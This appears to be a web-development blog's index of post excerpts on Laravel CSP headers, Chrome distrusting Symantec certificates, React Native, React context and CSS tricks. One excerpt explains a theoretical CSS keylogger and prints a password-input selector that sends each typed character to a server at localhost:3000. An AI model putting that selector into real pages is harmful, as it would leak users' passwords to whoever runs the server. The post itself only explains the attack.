Easily set Content Security Policy headers in Laravel with laravel-csp

Speaking of Content Security Policy, the folks at Spatie – who else? – have created a Laravel Package to easily take care or your CSP needs in a Laravel-based app. Even without knowing the inner workings of the packge, the custom Policy below is easy to understand: namespace App\Services\Csp; use Spatie\Csp\Directive; use Spatie\Csp\Policies\Policy as BasePolicy; …

CSS Keylogger (and why you shouldn’t worry about it)

Leveraging CSS attribute selectors it – in theory – is possible to write a keylogger in pure CSS. The selector below for example targets all input[type=”password”] elements whose last character is an a: input[type=”password”][value$=”a”] { background-image: url(“http://localhost:3000/a”); } The theory goes that whenever a user presses the a character inside an input[type=”password”], a request to …

Chrome 66 to Untrust Symantec-issued Certificates

Chrome is really tightening up the security game here. In Chrome 66 it will untrust Symantec-issued SSL/TLS certificates, after Symantec has repeatedly screwed up by wrongly issuing certificates for domains, including google.com itself. Thanks to a decision in September by Google to stop trusting Symantec-issued SSL/TLS certs, from mid-April Chrome browser users visiting websites using …

React Native and iPhone X: <SafeAreaView />

One of the elements that shipped with React 0.50 is <SafeAreaView />. It’s a component which you can use to prevent your content from creeping below The Notch and Home Indicator on iPhone X. import { // … SafeAreaView } from 'react-native'; class Main extends React.Component { render() { return ( <SafeAreaView style={styles.safeArea}> <App /> …

Proton Native – Create Native Desktop Applications Powered by React

Unlike Electron this one results in true Native Components being outputted. Proton Native does the same to desktop that React Native did to mobile. Build cross-platform apps for the desktop, all while never leaving the React eco-system. Popular React packages such as Redux still work. import React, { Component } from 'react'; import { render, …

React’s new context (React 16.3.0)

One of the new things in React 16.3.0 is a new context API: Typically, data in a React application is passed top-down (parent to child) via props. But sometimes it’s useful to pass values through multiple levels of abstraction without involving each intermediate. Examples include a locale, or a UI theme. Context in React provides …

Generate code screenshots straight from within Visual Studio Code with Polacode

Remember those really nice screenshots of code, generated with Carbon? Polacode is an extension for Visual Studio Code that offers (somewhat) the same functionality directly inside the IDE. Polacode – Polaroid for your Code →

Ordering tabular data with only CSS thanks to CSS Variables

Neat experiment by Roman Komarov in which he orders tabular data using just HTML/CSS, thanks to the use of CSS Custom Properties (CSS Variables): Each cell of each row is given a specific value to sort on. <tr class="table-row" style=" –order-by-published: 161221; –order-by-views: 2431; "> <th class="table-cell"> <a href="http://kizu.ru/en/fun/controlling-the-specificity/">Controlling the Specificity</a> </th> <td class="table-cell">2016-12-21</td> <td …